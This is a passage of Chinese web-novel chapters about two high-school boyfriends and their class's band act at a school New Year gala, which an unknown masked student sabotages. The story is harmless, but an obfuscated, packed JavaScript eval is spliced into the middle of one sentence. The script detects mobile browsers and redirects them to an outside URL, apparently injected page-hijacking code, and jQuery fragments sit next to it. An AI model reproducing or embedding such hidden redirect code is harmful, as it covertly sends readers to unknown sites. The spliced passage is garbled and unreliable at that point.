沈泽许:“……?” “那你写我了吗?” “写了。” “夸我的?” “没,骂你的。” 沈泽许不信,但陈温死活不给看,说毕业才准碰。 片刻,陈温终于放下笔,拿起一边的手机,屏幕亮着旅行青蛙的界面,他正在给那绿青蛙买帐篷。 沈泽许就偏要凑近看,呼吸喷在男生的耳根上。 陈温被盯得浑身不自在:“你自己没手机?” “看你的,不可以吗?” 又来这招。 男生直接按灭灯:“闭嘴!睡觉!” 黑暗里,沈泽许低笑:“这么凶啊小宝。” “……” 陈温没好气道:“沈泽许你闲得荒就去沙发上当‘厅长’。” 这下,沈泽许终于老实了。 两人躺在床上,中间隔着仓鼠玩偶。 时间还早,沈泽许先挑起话头:“之前一起吃烧烤的那俩个女生最近怎样了?” 陈温想到她俩就无奈地叹口气,把自己知道的情况都倒了出来——谁离开了谁难过了,讲得像个尽职的八卦播报员。 枕边的人听得连连点点头,枕头传来微微的沙沙声。 两人共枕着一个枕头,陈温甚至能感觉到他发丝蹭过枕面的震动。 沈泽许还要了那两个女生的微信,陈温嘴上答应着“不给通过我可没办法”,心里却嘀咕这人怎么突然对她们产生感兴趣了。 两人又从学校八卦聊到兴趣爱好,差点把口水说干,把心窝子掏出来。 星星在窗外陪着,月亮作证,这些夜晚的私语都是真的,爱也是真的。 没过一会,陈温就困得眼皮直打架,沈泽许似乎还精神着。 “那你唱首歌哄我睡?” 闻言,陈温迷糊间想起儿时学的《虫儿飞》,他磕磕绊绊地唱起:“黑……黑的天空低垂……” 歌词蹦出两句后,就传来均匀的呼吸声——陈温先睡着了。 沈泽许等歌声停了,确认陈温真睡着后,轻轻抽出他怀里的仓鼠玩偶,把那只手搭在自己腰上。 陈温在梦里皱了皱眉,下意识抱紧眼前的热源。 沈泽许这才舒服了,满意地闭上眼。 44. 小酒窝 林宇舟喝完“下午茶”,就跟他们告了别,往附近的商场电影院赶去。 李清依答应他一起看电影,虽说会晚点到。但他还特意给她打包了份布丁。 见时间差不多了,他就拿着票进放映厅找人,不过没看见那个熟悉的身影。 只好先到自己座位等着,心里满是期待。 正片刚开始,门口终于进来个人。 等那人走近,林宇舟却愣住了:“怎么是你?!” 李欣桐也傻眼:“怎么是你啊!”——她堂姐早上明明说有她想看的电影票问她去不去,怎么来的人是林宇舟?! 两人声音太大打扰到别人,不少观众回头瞪他们。 李欣桐头疼地先坐下,在微信上跟林宇舟对质。 女生在微信上噼里啪啦打字: 「你怎么在这?我姐呢?」 林宇舟同样疑惑:「这话应该是我说吧!」 随后两人的手机同时收到李清依的消息: 给林宇舟:「实在对不起!弟弟妹妹突然没人带,我去不了了。欣桐也喜欢这部电影,就让她替我去了。非常抱歉放你鸽子,但是我真的走不开。[哭泣.JPG]」 给李欣桐:「桐桐,姐姐突然要在家里照看弟弟妹妹们……你要不想单独跟林宇舟看,就自己看或者叫别的朋友吧,真的不好意思。[拥抱.JPG]」 见状,李欣桐特别理解姐姐——因为两家大人都忙得团团转,李清依作为最大的孩子,从小就得照顾弟弟妹妹。 明明她自己也没大多少。 所以李欣桐懂事后就特别黏这个堂姐,简直像个小跟屁虫。 她僵硬地把屏幕转向林宇舟,小声说:“所以……纯属意外?” 林宇舟也知道她家的孩子多没人管会闹翻天,耸肩道:“看来你姐是真被娃困住了。没事!咋俩看就咋俩看。所以……这布丁……你吃不吃?” 说着便把带来的布丁推过去,包装纸上还凝着水珠。 “……” 李欣桐内心OS:谁来救救我!我现在跑还来得及吗?! …… 周一的校会上,杨子龙和小珍被叫上台念检讨书——因为早恋的事。 学校里偷偷谈恋爱的人不少,但没人像他俩这么明目张胆在教学楼“约会”的。 现在被德育处抓典型,成了杀鸡儆猴的那两只鸡。 两人念检讨时头都快埋进纸里了。 底下学生噤若寒蝉,只有AK主任背着手在台上踱步,活像打了胜仗的大将军。 后来再遇到杨子龙,他总是用鄙夷又愤恨的眼神瞪陈温跟沈泽许,活像抓到了他们谈恋爱的不是AK主任,而是两人似的…… 广东的冬天向来冷得厉害,往常这种天气里,陈温的手脚就能冻得多冰凉。 今年却完全不同了——他穿着沈泽许的大衣,围着沈泽许不知从哪儿买来的围巾。 虽然那围巾有些地方摸起来不太整齐,但总体还是不错,围在身上,浑身都暖融融的。 沈泽许也戴着同款黑色围巾。 幸好班上戴黑围巾的人多,没人发现他俩的其实是“情侣款”。 但陈温心里总觉得不是滋味——沈泽许总送他东西,围巾、大衣、零食,可他好像什么都没给过对方。 他不是不想送,实在是没钱买。 要是送自己做的吃的吧,又怕毒着沈泽许——他那些“黑暗料理”可不是闹着玩的。 之前送过两次沈泽许教他烤的面包,后来天越来越冷,他也懒得动弹,就没再做了。 又到月底,月考成绩出来了,2班的语文成绩非但没因为老师经常请假下滑,反而反超了1班。 这次陈温的英语成绩提了15分。但2班平均分还是比1班低0.1——就差这么一点儿。 可熊丽好像忘了之前承诺给前三小组的“牛堡”奖励。 有人问起,她就说同学店里没货了,改发小饼干。包装袋上还印着超市特价标签,那饼干的味道也怪怪的。 因为元旦快到了,惠中照例要办晚会,连高三都得参加,美其名曰“缓解学习压力”。 楚婷却不乐意——这帮学生一提玩就忘了学习,仗着成绩好更是撒欢。 节目单她拖到最后十天实在没法子了才勉强安排——要不是元旦表演能评《学习标兵班》,她压根不想搞这些。 在班会课上,楚婷先是问,有谁愿意代表2班上台表演,底下鸦雀无声。 林宇舟忽然喊道:“要不我们演《白雪公主》!然后改编一下剧情?” 楚婷瞪他:“那你来演公主?” 叶萧云立马起哄:“好主意!别的班公主都是女生演的,咱们班男生反串,绝对惊艳评委!惊艳所有人!” “我去你的叶萧云!” 林宇舟笑骂着扔过去一个纸团。 这提议楚婷当然不乐意——他们演完明年就毕业了,她还得在这学校混呢。 她又说:“我们班有多少个学过乐器的来着,举一下手。” 班上就三个人举手——眼镜男叫宋听辞,主要会架子鼓;长发的女生叫周舟,弹电子琴。 最让陈温惊讶的是沈泽许也举了手。 “沈哥你还会乐器!?” “嗯,”沈泽许漫不经心地回答,“会一点电吉他。” 陈温在心里嘀咕:天啊,这人到底被上帝开了多少扇窗?长得帅成绩好就算了,居然还藏才艺…… “你们都能参加元旦表演吗?”班主任问。 见大家都同意,她继续安排:“那再选一两个主唱,组个乐队吧。有人报名吗?” 林宇舟第一个举手:“老师!我我我!” “还有别人吗?”楚婷直接无视掉。 可底下再无一人举手。 她只好暂时定了林宇舟。 男生像不知足一样,又喊:“老师!再加个李清依行不行?她唱歌特好听!” 见过李清依KTV实力的同学顿时一片叫好。 而李清依本人却害羞起来。 楚婷认真地问她:“清依,愿意去吗?为班级争光的事,不想去也没关系。” 听到“为班级争光”,李清依犹豫了一下。 再见班上确实没人愿意参加了,便轻轻点头。 就这么定下了。 楚婷让大家继续学习:“期末考试也快到了,大家别分心。过完元旦都把心思收回来。” 放学后,楚婷留下几人。 “辛苦大家了,咱们重在参与别压力太大。这“乐队”内部安排需要老师帮忙还是自己来?” 大家都选自己来。 结果在选歌时全犯了难。 几个人围在一起翻歌单,吵得像菜市场。 沈泽许则是无所谓,其他几个人各执一词:周舟非要选《往后余生》,李清依想选《晴天》,宋听辞觉得他的架子鼓适合敲《逆战》的前奏。 站在一旁的林宇舟突然插话:“要不唱《小酒窝》?” 所有人安静下来——这歌暧昧得简直像告白,虽然班上有酒窝的同学不少,但所有人第一时间想到的都是李清依,因为她笑起来那两个酒窝实在过于显眼。 楚婷是林俊杰的“忠实粉丝”,一听就连忙点头:“挺好的,就定这个吧。” 李清依耳尖通红地看了林宇舟一眼,又收回了视线。 定下歌后,几人每天放学在音乐室练半小时。 没办法,其他班级也要用,内宿生还得赶着回去洗澡。 倒是多出个陈温——他说教室呆着没事,过来帮忙“打杂”。 李欣桐也会时不时过来看她姐姐。 第一天排练简直鸡飞狗跳。 林宇舟不知道是紧张还是怎的,总跑调,跑得李清依直皱眉。宋听辞的架子鼓太久没练,差点把周舟的电子琴带偏。 只有沈泽许的电吉他稳得惊人。 扫弦时刘海垂下来遮住眼睛,虽然没插音响声音不大,但帅得音乐室外偷看的女生直捂嘴。 他的电吉他是自己自带的,而其他人是用音乐室的。 那纯白电吉他身上晕染着淡蓝色,像浪花卷过沙滩。拨片也是同色系,乍看像海洋的心脏,又像一尾跃出水面的鱼鳞。 陈温心里莫名开心,像自己藏的宝贝突然被人夸。他一边给大家倒水,一边偷偷用手机录沈泽许弹solo的片段。 但沈泽许发现后伸手挡住镜头:“别拍。” 陈温这才想起——沈泽许和他一样讨厌拍照。上次密室结束要拍留念照时,他俩都偷偷往后缩。 他只好遗憾地删了视频。 练了八天,林宇舟嗓子哑得像砂纸磨墙——估计是长时间用嗓过度的问题。 李清依察觉后,第二天默默买了润喉糖分给大家。 陈温坐在旁边凳子上,接过李清依递来的薄荷润喉糖:“谢谢。” 女生笑了笑,又继续给别人发糖去了。 糖果在舌尖炸开凉意,像赛车呼啸而过卷起大风,整个口腔都凉飕飕的。 今天是最后一天排练,士气特别高涨——这几天的磨合也真不是白练的。 大家自己排好了顺序:周舟电子琴开场,接着宋听辞的架子鼓推进,沈泽许的电吉他主旋律切入,林宇舟和李清依的歌声最后加入。 男生嗓音低沉带沙哑,女生清亮有穿透力。 原曲甜腻的情歌被他们唱出了青春期的倔强感——像夏日汽水冒泡的躁动,又像自习课传纸条的心跳。 虽然没有扩音器,歌声还是吸引了不少路过的同学。 苏颜晓梦早早就得到了消息,拉着那个朋友挤到最前面,眼睛一眨不眨地盯着音乐室里面看。 而她身边的那个朋友,眼神却阴沉…… 一直到12月的最后一天,老师们还在上课,不少学生的心思早就飞到操场了。 外操场搭起舞台和音箱,试音声和喧哗声混成一片。 因为晚上有晚会,学校早早放了学。 下午倒数第二节课刚结束,同学们就搬起凳子涌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17171977|196843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 向操场。 教室里只剩2班要表演的人和叶萧云几个。 沈泽许坐在后排调电吉他,陈温撑着头看他。 “想听什么?”沈泽许调好弦问。 “我?”陈温不确定地说道。 “嗯。” 男生摸着下巴,思考了会,说:“《WeDon''tTalkAnymore》行吗?” 沈泽许扶好吉他,修长的手指拨动琴弦。 音乐像跳动的火焰窜满教室,俏皮又私密,像在无人深林里只弹给他一个人听。 男生只弹了前奏,就停下了。 陈温正听得入迷,声音戛然而止,他便睁眼疑惑地瞧沈泽许。 “弹完了,”沈泽许清清嗓子,“收费一千。” “?”陈温瞪眼:“不是!你抢劫呢!” “不给钱也行,”沈泽许轻声说:“亲我一口就免单。” 陈温立刻抓到漏洞:“我的吻就值一千?” 沈泽许没想到挖坑给自己跳,但马上接话:“‘付’完我这个人都是你的,在你身边天天给你弹,怎么样?” 陈温脸一下子红了,他扭头看见不远处的几人——李欣桐又在和叶萧云吵架。 表演服装老师说可以自定,李清依的妈妈知道后特意买了条新裙子给她。 女生换好衣服回来,叶萧云瞥了眼直白问:“清依姐你有小肚子了?” ——这“直男”根本看不出那是裙子设计问题。 李欣桐一听有人说她姐,不乐意了:“你懂什么!女生有小肚子很正常,这是保护身体的脂肪!” “我就提醒下收肚子……你凶什么!” 周围人赶紧劝架。 陈温默默转回头。 两人不是不想告诉林宇舟他们“恋爱的事”,而是找不到好时机。况且男生和男生谈恋爱,他们也不知道朋友们能不能接受。 想着以后再说,不想太快暴露。 现在又要在教室里亲密,他还是有点不好意思。 陈温发现沈泽许衣领最上面的扣子开着,想了想,俯身伸手去扣,手指微微发抖。 他紧张地舔舔嘴唇,快速亲了下男生的嘴角,就马上退开了。 扣子也系上了,但有些歪歪扭扭。 沈泽许忍着笑意,自己重新系好。 教室那头吵完,林宇舟看了眼表:“走了!该去抽出场顺序了!” 这一嗓子把后排两人拉回现实。 后台内,周舟被推出去抽签——都说她手气好。 结果展开纸条是个明晃晃的“1”。 抽到这个第一,演好了能惊艳全场,演砸了就会变成后面班级的垫脚石。 宋听辞哀嚎:“你这手气没谁了!” “你以为我想啊?”周舟撇嘴,“第一就第一呗,早演完早休息。” 林宇舟拍手:“没事没事,大家准备准备!主持人说完就该咱们了!” 李清依瞥见别的班在加油打气,提议道:“我们要不要也打气?” “好啊!”李欣桐响应。 几人迅速围成一圈,手叠手,往下压再往上扬。 “加油!加油!加油!” 随后,不上台表演的几人溜回观众席。 主持人还在介绍环节,苏颜晓梦是主持人之一。 她穿着亮晶晶的裙子,念完自己的台词,女生就朝台下张望,似乎在找人。 到男主持人念词时,2班的同学和志愿者陆续把乐器搬上台。 后台内,音响师的肚子疼得厉害,另一个音响师不知去哪了,附近也没有音乐老师。 他看见门口有个戴口罩的同学,赶紧喊道:“同学!过来一下,帮我个忙。” “我肚子疼得不行,先上个厕所,帮我看会儿行吗?”音响师捂着肚子问。 戴口罩的同学点点头。 “就按这个钮,别的千万别动!”音响师肚子又叫了一声,他拍拍那人的肩,“我很快回来!” 说完就冲了出去。 男主持人报完第一个节目《小酒窝》后,台上的几人也做好了准备。 台下传来欢呼的鼓掌。 周舟按下第一个琴键——音响没声音! 她又试了两下,真的没声! 其他人疑惑地看她,周舟慌张地说:“音响好像坏了!” (七夕额外小剧场+接上一章) 陈温睡得迷迷糊糊,感觉全身暖烘烘的,身上也出了点汗,像泡在暖宝宝海里。 不对劲啊,他抱的不是小仓鼠吗?怎么硬硬的? 一睁眼就看见张“欠揍”的脸——沈泽许睡得正香,小仓鼠被挤在床角摇摇欲坠。 天色还早,约莫是凌晨4点。 陈温挣扎了两下,没挣开。他沉默片刻,用脚勾过仓鼠,把沈泽许的手挪到玩偶身上。 自己的脚也悄悄溜远沈泽许的腰。 被子一抽,滚到床的另一边,睡了。 奇迹般的是,沈泽许第二天居然没有感冒。 45. 抱一下 灯光跟着暗了好几盏,台上几乎是一片黑。 林宇舟试了麦克风能用,李清依的也行,就三个乐器的音响发不出声。 另一位音响师在舞台对边上,跟女音乐老师聊得正火热,突然发觉该放音乐的时候却没声了。 他心里咯噔一下,说了句“糟了”,扭头就朝后台奔。 女老师话才听了一半,看他猛地跑走,一脸懵地站在原地。 后台空无一人。 音响师冲到控制台一看,好几根线都被拔了,按钮也给人乱调过。 他冷汗唰地就下来了,手忙脚乱地赶紧接上线头,把旋钮一个个拧回原位。 台下的评委和同学都等着呢,半天没动静。大家你看我我看你,都不知道出了什么事。 陈温他们好不容易找到自己班位置,刚坐下。李欣桐最先发觉不对:“怎么还没开始啊?” 叶萧云也接话:“就是,太奇怪了。” 陈温闻言,抬头往舞台上看,正好瞥见一个戴口罩的人从后台溜出来。 那人前脚刚走,后脚就有人火急火燎地冲进了后台。 每个班就5分钟表演时间。三个年级60个班,根本没法重来,否则元旦晚会得开到半夜。 大家演出完都要赶回家过明天的元旦,太晚回去也不安全。 现在音响坏了,几人只能干站在台上。 这可能是他们高中生涯最后一场表演了。 没别的办法,只能清唱了。 刚才那场乱子也就一分多钟,还来得及。 林宇舟和李清依对视一眼,瞬间就明白了对方的想法。 想起最近练习因紧张老是跑调,叶萧云还开玩笑说可以用乐器声帮忙遮一遮。 而如今…… 林宇舟闭上眼睛,深吸一口气,直接清唱出声: “我还在寻找,一个依靠,和一个拥抱……” 男生嗓音干净清亮,这次一丁点也没跑调。 歌声一起,台下吵吵闹闹的声音瞬间就静了,所有人都转过头看向舞台。 “幸福开始有预兆,缘分让我们慢慢紧靠……” 轮到李清依接了。她的声音像夜里的星星,透静清澈。 如果说林宇舟刚把大家吸引过来,那她一开口,就把所有人都定住了。 台下鸦雀无声,眼睛全都盯着台上,一动都不动。 沈泽许他们三个人立刻也懂了。 互相瞥了一眼,点点头。不管音响好没好,跟着两人的节奏,演奏起乐器。 宋听辞的架子鼓声最响,沈泽许的电吉他几乎听不见,可以说,站在台下都不一定能听到它的声音。 但这已经不重要了。 沈泽许低着头,手指轻轻拨着弦,嘴角微微扬起,像是在笑。 也许,他真的在笑。 而刚才,陈温他们几人在台下急得不行,眼看台上没动静,都想冲上去帮忙了。 “是不是音响坏了?” 叶萧云这回总算猜对了。 “我早说那音响师不靠谱。”李欣桐抱着胳膊“哼”了一声。 叶萧云一脸懵:“你啥时候说的?” “就刚才啊。”李欣桐随手撩了下短发。 叶萧云:“……” “要不我们去后台看看?”陈温刚提议。 台上猝不及防传来林宇舟的歌声。 三个人同时转头望向舞台,一下子松了口气。 原来没坏啊…… 几人互相看了一眼,心里都在嘀咕。 那刚才为啥不唱啊?现在还是清唱,跟排练的完全不一样,也没有音响发大乐器的声音。难道这也是临时改的方案? 既然没事,三人又坐了回去。 陈温刚才怦怦直跳的心慢慢平复下来。 他重新望向台上的沈泽许。 只剩几盏灯亮着,其中一盏正好落在他头上,像是镀了层金边。 沈泽许穿着白衬衫和黑裤子,衬衫扣子一丝不苟地扣到最上面一颗,整齐得有些过分。 裤子明显短了一截,像是临时凑合买的,也像是不清楚主人尺寸随便拿的,露出一截清瘦的脚踝。 少年锋利的轮廓好像也柔和了些,收起平时的刺,露出最真实的样子。 沈泽许在笑。 他平时很少笑,除了跟陈温待一块儿的时候,还有解出难题的瞬间,以及现在…… 好像只有面对真正喜欢的事,他才会露出这样的表情。 男女声正好唱到:“小酒窝长睫毛,是你最美的记号。我每天睡不着,想念你的微笑……” 这时音响师总算接好了线,他长舒一口气,按下启动键。 音响终于响了,歌声伴着音乐传遍全操场。 电吉他的旋律轻轻铺底,电子琴弹出《小酒窝》轻快的节奏,宋听辞的架子鼓稳稳打着节拍。 他另一只手还摇着沙槌,发出沙沙的声响,像绵绵细雨落在树叶上。 电吉他声像拨在陈温心上,一点点把他心里那些皱褶抚平,又妥帖地缝好。 沈泽许微微抬头,在人群里一眼就找到他,朝他扬起嘴角,笑得明朗。 这种行为简直跟当众表白没两样。 陈温也朝他笑,虽然不确定作为2班最后一排的他能不能看见。 但他真想扯着嗓子喊:“看见没!那是我男朋友!帅不帅!” 可惜也就只能想想…… 以前总觉得电吉他吵得很,现在一看简直帅炸了! 往后他再听到电吉他的声音,心里只会觉得:真帅啊。 还有他的男朋友…… 一扭头,发现李欣桐正偷摸举着手机拍她姐。 学校不让元旦晚会带手机,但总有人偷偷带。老师巡了几圈也累了,现在根本不管。她才敢这么明目张胆。 旁边的叶萧云已经哭上了,估计想起他哪个“白月光”了。 这歌对他杀伤力太大,简直跟听《父亲》一个效果。 台下同学和评委都没想到会有这一出。 音乐响起的时机恰到好处,刚才那点意外全被盖过去。 现在只剩下掌声和欢呼,全场都跟着节奏一起打拍子。 “一辈子暖暖的好,我永远爱你到老。” 林宇舟和李清依唱完最后一句,便瞬间爆发出震耳欲聋的掌声。 二班鼓掌鼓得最响,巴掌都快拍红了。 这……这这还是他们班吗?以前表演节目个个敷衍了事,现在倒好,一个比一个帅炸天! 五人刚鞠躬下台,陈温第一个就冲了过去。 李欣桐一看急了,居然有人比她还快!立马也跟着跑过去。 叶萧云还在那儿哭得眼睛通红,被楚婷发现,拉着安慰了好半天。 李欣桐一个箭步冲上去,紧紧抱住李清依:“姐你太帅了!” “哈哈,”李清依被她勒得笑出声:“轻点轻点,喘不过气了。” 女生这才“嘿嘿”笑着松手,不好意思地挠挠头。 “姐,你妆有点花了,待会儿我帮你补补!”李欣桐说着就拉李清依往二班走。 她姐今天这条裙子必须配全妆才够味,之前特地征得婷姐同意带了化妆品来。 可能是刚才唱歌太投入弄花的。 得赶紧补上。 陈温跟在后面,走到沈泽许面前时耳朵有点红。他没说话,但眼神跟李欣桐是一个意思。 几个人一路说笑着往回走。 陈温和李欣桐这才知道,开头没唱不是因为临时加戏,而是播放乐器的音响坏了,后面又不知道为什么又修好了。 回到2班的座位时,楚婷已经安慰得差不多了。她拍男生肩膀安慰道:“没事啦,以后还会遇到更好的。男子汉大豆腐,别难过了。” 说完自己先忍不住笑场——这安慰的话怎么听着这么别扭。 一抬头,看见他们回来了,赶紧招手让几人过来。 “老师!我们刚才帅不炸?”林宇舟兴奋地凑上前问。 “还行。”楚婷回答得干脆利落,接着话锋一转,“对了林宇舟,你找几个力气大的同学去校门口一趟。” “怎么了老师?” 楚婷:“给你们买了奶茶。” “老师我爱你!”林宇舟一听直接蹦起来,扭头就喊人搬奶茶去了。 “我也是老师。”周舟赶紧凑过去挽住楚婷的胳膊。 叶萧云抹掉眼泪,咧嘴笑起来:“老师你真好!” 一群马屁精。 楚婷笑着摆摆手:“赶紧坐好,下一个节目要开始了。” 几人赶紧坐回座位。 没过多久,林宇舟和六哥两人就搬着几箱奶茶回来了,往地上一放,两人累得直喘气。 楚婷皱起眉头:“怎么不多叫几个人帮忙?” 林宇舟歇了口气,笑嘻嘻地说:“哎呀!我们六哥一个顶五个!” 六哥一听这话,立马来劲了,气也不喘了,汗都顾不上擦,假装轻松地开始发奶茶。 开头的表演过于精彩,以至于后面的节目显得有些没劲了。 陈温无聊得往后靠,整个人贴在沈泽许身上。男生也顺势往前倾,两人就这么歪歪扭扭地靠在一起小声聊天。 六哥发奶茶发到他们这儿,陈温才坐直身子。 “来来,拿着。”六哥递过来一杯老红糖珍珠奶茶。 陈温笑着接过:“谢啦。” “客气啥。”六哥又递给沈泽许,“你的。” 沈泽许一直把手揣在兜里,12月的晚风吹得人发冷。他刚伸手去接,六哥没留意就松了手——奶茶盖没封严,直接翻到在地,溅了几滴污渍在白衬衫上。 陈温吓了一跳,赶紧扭头找纸巾。 六哥发现自己闯祸,也慌了,那衣服看着就不便宜。他连声道歉:“对不起对不起!” 奶茶只剩半杯,一半洒在地上,还有一点泼在衣服上。剩下的也没法喝了。 “没事。”沈泽许轻声说,接过陈温递来的纸巾,低头擦着衬衫。 “要不去厕所冲一下?”六哥急着补救,“我教室里好像还有一套冬装校服,先借你穿。” “真没事。”沈泽许又重复了一遍,转头看了陈温一眼。 陈温脑子还没转过来,话已经脱口而出:“要不……我陪你去厕所处理下吧。” “ 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沈泽许:“我说亲脸,你想哪儿去了?” 陈温:“……” 好好好。 “那也不行。” 眼看沈泽许又要凑过来在他耳边说什么,陈温赶紧躲开——实在太痒了,像有人拿羽毛挠心尖,别扭得他浑身不自在。 沈泽许被拒绝后偏过头,手指无意识地捏着指腹,摆出那副经典的情书被拒表情。 陈温根本不吃这套,低头继续搓衣服。 沈泽许偷瞄他一眼,又扭过头。来回折腾两三遍,陈温终于受不了了,无奈妥协:“抱一下总行吧?” 下午亲过了,也确实好久没抱了。 沈泽许没拒绝这个替换方案,嘴角悄悄扬了起来。 陈温胡乱又僵硬地甩开手上的水,眼睛不知道该看哪,最后偏过头靠在他胸口,伸手环住他的腰。 沈泽许肩宽腰窄,平时没少锻炼,抱起来手感扎实。 他身上带着淡淡的茉莉香,心跳声咚咚敲着耳膜,快赶上外面凤凰传奇的节奏了。 沈泽许一只手半搭在陈温头上,另一只手搂着他的背。 这场景,简直像异地恋好不容易见上面的情侣。 忽然,不知从哪儿传来极轻的“咔嚓”一声,细得像是错觉。 陈温却感觉到了,他下意识转头望向门口——空荡荡的,没人。 怎么回事?难道听错了? 下一秒,隔间门“咔哒”一响被猛地打开,冲出个戴帽子的男人。 他冲到洗手台前胡乱冲了下手,仅用一秒,便头也不回就跑了出去,完全没注意到暗处的两人。 陈温看得一愣——那人好像是后台的音响师? 两人对视一眼,忍不住笑出声。 他们笑了好一会儿才停下。 “走吧,弄干净了。”陈温轻咳一声,松开手,“再不回去婷姐该着急了。” 外面不知道演到几班了,同学们奶茶都快喝完了,路上不少人往厕所跑。 回到二班座位,陈温那杯奶茶还没动。 他插上吸管喝了一口,红糖混着奶香在嘴里化开,珍珠咬下去糯糯的,甜味更浓了。 随后,他很自然地把杯子递给沈泽许,挑眉示意。 沈泽许接过来,抿了一小口。 男生其实不太爱吃甜的,太腻的也接受不了,而这杯刚好,但陈温更爱这种甜度。 平时吃到这种甜食就两眼放光的人,还是留给他吧…… 不远处的三人组看得目瞪口呆。 “这这这……”李欣桐舌头打结。 “实锤了吧……”叶萧云喃喃道。 “嘘!”林宇舟赶紧比手势,“你俩小声点!” “这怎么办啊……”叶萧云绝望地挠头,“好兄弟居然是……” 李欣桐使了点力气敲他脑袋:“还能怎么办?” “你知我知他知,”林宇舟压低声音,“别再让第四个人知道。咱们也……别歧视人家,明白吗?虽然不懂为啥瞒着我们,但得保密。”他说这话时声音有点抖。 “没问题!” 两人异口同声。 “对了,你姐呢?”叶萧云问。 “跟婷姐在前排看评委跟2班的评分呢。”李欣桐答。 林宇舟说:“也别告诉她,懂吗?” “废话!” “哎等等,差点忘了正事。” 叶萧云乍然想起来,看了眼不远处的两人——这会儿总算没腻歪了,他赶紧穿过人群小跑过去。 “沈哥,沈哥!”男生跑过来喊他。 沈泽许抬眼:“怎么了?” “没啥,”叶萧云挠挠头,“刚才一班的班花来找你,但你不在,我说你去厕所了。她说待会儿再来。” “嗯。”沈泽许淡淡应了一声,“没事了?” “啊对……” 叶萧云还是有点别扭,暂时没法坦然面对这俩人,通知完就溜了。 46. 锁骨 夜深了,元旦晚会提前结束。 晚风带着香樟树的清冷气味,刚才的热闹劲儿一散,显得格外安静。 两个少年走在空旷的步行街上。 陈温低头刷着手机,给他养的那只电子青蛙买口粮。他倒着走在沈泽许前面,步子慢悠悠的——他偶尔爱这么干,说倒走对身体好。 沈泽许说过这样容易撞电线杆,陈温觉得不可能。这会儿他又开始了。 男生被视频逗得直乐。沈泽许右手一直背在身后,像是有话要说,但陈温完全没留意。 快走到小巷尽头时,沈泽许终于把那只手伸到陈温面前。 陈温下意识抬头,脑袋不偏不倚撞上电线杆。他捂着头上肿起的包,其实撞得不重,但还是疼得龇牙咧嘴。 回头一看,男生离电线杆只剩一厘米。 转回头来,只见沈泽许食指第二指节上挂着个打了孔的电吉他拨片——正是他常用的那个拨片。 陈温睁大眼睛,歪头看那个东西,有点懵:“这是什么?” 沈泽许被他吓一跳,赶紧绕到身后查看他头上的包,边说:“吉他拨片。” “送你。” 陈温更困惑了:“为啥?这拨片挺好看的啊,打个洞干嘛?” 沈泽许仔细看了看他头上的包,还好肿得不厉害,随后道:“他们说拨片是吉他手的心脏,但现在我想送给你。” 陈温微微偏过头看他,路灯的光落在睫毛上,投下一小片阴影,说:“心脏这么重要的东西……真给我啊?” “嗯。”沈泽许说着,轻轻撩开陈温后颈的头发,露出那条星星项链——银色的细链在夜色里微微反光,是生日时他母亲送的那条。 陈温有个“小习惯”,喜欢轻轻咬项链的吊坠。 那颗星星上已经留下几个浅浅的牙印,不仔细根本看不出来,只有凑近了才能发现被虎牙磨过的痕迹。 他平时很少戴这条项链,怕弄坏,体育课、考试、重要场所都会摘下来收好。 今天,沈泽许却猜准了他会戴。 温热的手指解开项链扣,仔细地把拨片穿进去。陈温心里高兴,嘴上却嘟囔着“幼稚”“肉麻”。 在他小声抱怨下,沈泽许已经穿好了。 拨片和星星挨在一起,星星在前,拨片在后。合成树脂贴到胸口,传来一阵凉意。 沈泽许看了眼表,伸出三根手指:“3。” “2。” “1。” 他低头亲了亲陈温额头,捂住他耳朵,说了四个字。 话音刚起,远处烟花炸响,第一声最亮。像梦似的,飘忽不定。 陈温深吸口气,舔了舔嘴唇,紧紧抱住沈泽许,像要把他揉进骨头里,揉进血液里,揉进灵魂里。 他知道沈泽许说了什么,轻声回:“新年快乐。” — 这次元旦晚会总算有惊无险地办完了。 几人把开头那场乱子跟楚婷说了实话,婷姐气得直接去找工作人员理论。 那个戴帽子的音响师被扣了二百工资,另一个也没好到哪儿去——上班时间撩妹,同样挨了处分。 面对领导的追问,戴帽子的音响师只好坦白:当时他肚子疼,临时叫了个人帮忙看音响,但对方戴着口罩,后台又暗,根本没看清长相。 只知道是个男生的体型。 他也没想到那人会乱调设备。幸好没酿成大祸,表演总算顺利结束了。 后台监控画质太差,只拍到门口,模糊看到有人进出。 学校通报批评了这事,但始终找不到幕后的人——没人承认,最后不了了之。 元旦这天正好是林宇舟生日,大家都备了礼物要去庆祝party,唯独陈温去不了。 陈林峰刚好在这边谈生意,晚上有个所谓的“晚宴”。 这种场合总有人带着孩子来,美其名曰怕孩子孤单,其实暗地里较劲谁家孩子更出息。也不知道陈林峰这回是哪一种。 林宇舟的生日礼物快递还没送到,早上也没什么事,陈温一觉睡到中午才醒。 他刚伸了个懒腰,门铃就响了。 一开门,陆晚枝就站在外面。她气色比上次好了不少,头发也剪短了。 陈温有点惊讶,一脸问号地瞧着她。 女生讪讪一笑道:“我刚学了打卤面,来尝尝?” 元姨碰巧今天要去别人家当临时保姆,没法来做饭,只让他自己随便对付两口。 陆晚枝来得正好,陈温终于不用啃自己做的黑暗料理了。 他赶紧点头:“我来洗碗!” 推开那道旧铁门,香味就飘出来了。 大少瘫在鞋柜上,见人进来,懒洋洋地“喵”了一声,熟练地跳下来。 先蹭蹭陆晚枝的脚,又绕到陈温小腿边磨蹭,像个老油条。 陈温弯腰抓住猫腋下想把它抱起来,刚拎到一半就愣住了——这家伙沉得差点没抱动。 “想吃番茄鸡蛋打卤面还是豆角肉末的?”陆晚枝递来一双男士拖鞋——很新,随口问道。 “番茄鸡蛋。”陈温答得毫不犹豫。 陆晚枝略一点头,让男生去沙发上等着。 陈温放下猫,轻手轻脚挪到沙发边,端端正正坐下,双手老老实实搁在膝盖上。 他又好久没找陆晚枝玩了。 期末快到了,他一直闷在屋里复习,再加上男女有别,也不方便总待在一起。今天她突然找来,肯定是有事要帮忙。 